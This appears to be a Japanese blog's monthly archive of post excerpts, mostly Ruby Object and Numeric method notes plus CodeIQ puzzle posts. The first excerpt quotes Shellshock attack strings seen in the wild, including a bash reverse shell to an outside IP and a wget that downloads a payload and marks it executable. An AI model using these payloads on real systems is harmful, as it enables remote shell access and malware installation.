Tbpgr Blog

Employee Experience Engineer tbpgr(てぃーびー) のブログ

2014-09-01から1ヶ月間の記事一覧

shellshock攻撃例

shellshockの攻撃、こんなん来てた "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'""() { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a""() { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmo…

Ruby | Object | methods

概要 Object#methods(include_inherited = true) -> [Symbol] 詳細 オブジェクトから呼び出し可能なメソッドの配列を返却。 public, protected のメソッドが対象。 サンプルコード class Hoge def public_hoge; end protected def protected_hoge; end priva…

Ruby | Object | method

概要 Object#method(name) -> Method 詳細 オブジェクトのメソッド name をオブジェクト化した Method オブジェクトを返却。 サンプルコード require 'tbpgr_utils' class Hoge def hoge(repeat) 'hoge'*repeat end end hoge_method = Hoge.new.method(:hoge…

Ruby | Object | is_a? or kind_of?

概要 Object#is_a?(mod) -> bool Object#kind_of?(mod) -> bool 詳細 オブジェクトが指定されたクラス mod かそのサブクラスのインスタンスであるとき真を返却 サンプルコード require 'tbpgr_utils' class Parent end class Child < Parent end parent = Pa…

Ruby | Object | instance_variables

概要 Object#instance_variables -> [Symbol] 詳細 オブジェクトのインスタンス変数名をシンボルの配列として返却 サンプルコード class Person attr_reader :name, :age def initialize(options = {name: nil, age: nil} ) @name = options[:name] @age = o…

Ruby | Object | instance_variable_set

概要 Object#instance_variable_set(var, value) -> object 詳細 オブジェクトのインスタンス変数に var を設定。 サンプルコード require 'tbpgr_utils' class Person attr_reader :name, :age def initialize(options = {name: nil, age: nil} ) @name = o…

Ruby | Object | instance_variable_get

概要 Object#instance_variable_get(var) -> object | nil 詳細 オブジェクトのインスタンス変数の値を取得して返却。 インスタンス変数が定義されていなければ nil を返却。 サンプルコード require 'tbpgr_utils' class Person attr_reader :name, :age de…

Ruby | Object | instance_of?

概要 Object#instance_of?(klass) -> bool 詳細 オブジェクトがクラス klass の直接のインスタンスである時真を返却。 サンプルコード require 'tbpgr_utils' class Parent end class Child < Parent end parent = Parent.new child = Child.new bulk_puts_e…

Ruby | Object | inspect

概要 Object#inspect -> String 詳細 オブジェクトを人間が読める形式に変換した文字列を返却。 inspect メソッドをオーバーライドしなかった場合、 クラス名・インスタンス 変数名・値の組を元にした文字列を返却。Kernel#p で利用される。 サンプルコード …

Ruby | Object | __id__ or object_id

概要 Object#__id__ or object_id -> Integer 詳細 オブジェクトのハッシュ値を返却。 Hashクラスで利用。 サンプルコード require 'set' a = "hoge" b = "hoge" # String は eql? が同値チェックになっている p a == b # => true p a.eql? b # => true p a.…

Ruby | Object | hash

概要 Object#hash -> Fixnum 詳細 オブジェクトのハッシュ値を返却。 Hashクラスで利用。 サンプルコード require 'set' a = "hoge" b = "hoge" # String は eql? が同値チェックになっている p a == b # => true p a.eql? b # => true p a.equal? b # => fa…

Ruby | Object | frozen?

概要 Object#frozen? -> bool 詳細 オブジェクトを凍結されているか、真偽値で返却。 サンプルコード a = "before_freeze" p a.frozen? a = "after_freeze" a.freeze p a.frozen? 出力 false true 参照 http://docs.ruby-lang.org/ja/2.0.0/method/Object/i/…

Ruby | Object | freeze

概要 Object#freeze -> self 詳細 オブジェクトを凍結(内容の変更を禁止)する。 凍結したオブジェクトを変更しようとするとRuntimeErrorが発生。 サンプルコード a = "before_freeze" p a.frozen? a = "after_freeze" a.freeze p a.frozen? begin a.gsub!(…

Ruby | Object | extend

概要 Object#extend(*modules) -> self 詳細 引数で指定したモジュールのインスタンスメソッドを self の特異 メソッドとして追加。 サンプルコード %i(Hige Hage).each do |m| eval " module #{m} def #{m.downcase} '#{m.downcase}' end end " end class H…

Ruby | Object | eql?

概要 Object#eql?(other) -> bool 詳細 Object の Hash の内容を比較して真偽値を返却する。・Hash のキーの比較 ・Array#uniq ・Set の同一性判定などで利用される。 このメソッドをオーバーライドする場合は、 Object#hash も一緒にオーバーライドすること…

Rubyで作る奇妙なプログラミング言語 〜ヘンな言語のつくりかた〜

概要 Rubyで作る奇妙なプログラミング言語 〜ヘンな言語のつくりかた〜 の書評 構成 1 Esoteric Languageを知る 1-1 Ruby練習問題 1-2 サンプルプログラムに特化した言語、HQ9+ 1-3 8つの命令ですべてを記述する言語、Brainf*ck 1-4 決して印刷できない言語…

Ruby | Object | enum_for or to_enum

概要 Object#to_enum(method = :each, *args) -> Enumerator Object#enum_for(method = :each, *args) -> Enumerator Object#to_enum(method = :each, *args) {|*args| ... } -> Enumerator Object#enum_for(method = :each, *args) {|*args| ... } -> Enume…

Ruby | Object | display

概要 Object#display(out = $stdout) -> nil 詳細 オブジェクトを out に出力。 サンプルコード class Person attr_reader :name, :age def initialize(name, age) @name, @age = name, age end def to_s "#{@name}, #{@age}" end end "hoge".display puts "…

Ruby | Object | clone

概要 Object#clone -> Class 詳細 オブジェクトの複製を返却。 浅い(shallow)コピー。 サンプルコード require 'tbpgr_utils' class Hoge attr_reader :str, :arr def initialize(str, arr) @str, @arr = str, arr end end hoge = Hoge.new("hoge", [*'a'..'…

Ruby | Object | class

概要 Object#class -> Class 詳細 レシーバのクラスを返却。 サンプルコード require 'tbpgr_utils' class Hoge end class Child < Hoge end bulk_puts_eval binding, <<-EOS "hoge".class :hoge.class 1.class 1.1.class Hoge.new.class Child.new.class Cl…

Ruby | Numeric | quo

概要 Numeric#quo(other) -> Rational | Float | Complex 詳細 self を other で割った商を返却。 div や fdiv との違いは出来るだけ正確な値を返却すること。 有理数になるなら Rational Float, Complex に関わるならそれらを返却する。 サンプルコード p 4…

CodeIQ | 『呪いの右仮面』問題 @tbpgr #CodeIQ

概要 『呪いの右仮面』問題 詳細 『呪いの右仮面』問題 を2014/09/11〜2014/10/02まで出題します。 https://codeiq.jp/ace/tbpgr/q1026 どんな問題? 未経験の言語でフィボナッチ数列を出力するプログラムを作成する問題です。 経過情報 日次 総人数 正解者…

Ruby | Numeric | numerator

概要 Numeric#numerator -> Integer 詳細 分子を返却 サンプルコード p 4.numerator p 0.numerator p -4.numerator p 1.5.to_r p 1.5.numerator p 1.5.denominator 出力 $ ruby numeric_numerator.rb 4 0 -4 (3/2) 3 2 参照 http://docs.ruby-lang.org/ja/2.…

Ruby | Numeric | nonzero?

概要 Numeric#nonzero? -> self | nil 詳細 自身がゼロの時 nil を返し、非ゼロの時 self を返却。 サンプルコード p 4.nonzero? p 0.nonzero? p -4.nonzero? 出力 $ ruby numeric_nonzero.rb 4 nil -4 参照 http://docs.ruby-lang.org/ja/2.0.0/method/Nume…

Ruby | Numeric | modulo or %

概要 Numeric#modulo(other) -> Numeric 詳細 self を other で割っ余 r を返却。 modulo は内部で % を呼び出している。 サンプルコード p 4.modulo(2) p 3.modulo(2) p 2.modulo(3) p 2.modulo(4) 出力 $ ruby numeric_modulo.rb 0 1 2 2 参照 http://docs…

Tailsさんの誕生日を 修造言語で祝う

前提 修造言語は orenono gem で作成しました。 orenono gem については下記参照。https://rubygems.org/gems/orenono https://github.com/tbpgr/orenono http://tbpgr.github.io/orenono_slide/#/ 設定ファイル(Orenonofile) # encoding: utf-8 increment "…

Ruby | Numeric | fdiv

概要 Numeric#fdiv(other) -> Float 詳細 self を other で割った整数の商 q を Float で返却。 サンプルコード p 4.fdiv(2) p 3.fdiv(2) p 2.fdiv(3) p 2.fdiv(4) 出力 $ ruby numeric_fdiv.rb 2.0 1.5 0.6666666666666666 0.5 参照 http://docs.ruby-lang.…

Ruby | Numeric | eql?

概要 Numeric#eql?(other) -> bool 詳細 self と other が同じクラスで同じ値の場合に true を返却します。 同じ値だが異なるサブクラスの場合は false を返却します。 サンプルコード require 'tbpgr_utils' bulk_puts_eval binding, <<-EOS 5.eql?(5) 5.eq…

CodeIQ | 『第7回デスマコロシアム』問題 QA @tbpgr #CodeIQ

概要 『第7回デスマコロシアム』問題 QA 詳細 『第7回デスマコロシアム』問題 QAです。 Q1 Q 解答コードの文字数はどのように数えますか?A Byteではなく文字数で数えます。 具体的にはRubyのsizeメソッドで数えます。 Q2 Q ideoneで実行すると、標準出力は…

CodeIQ | 『第7回デスマコロシアム』問題 @tbpgr #CodeIQ

概要 『第7回デスマコロシアム』問題 詳細 『第7回デスマコロシアム』問題 の参加状況集計です。 https://codeiq.jp/ace/tbpgr_colosseum_manager/q1069 残言語 挑戦者0名の言語は以下です。 Ada Assembler (gcc-4.8.1) AWK (gawk) AWK (mawk) bc C# C++ 4.3…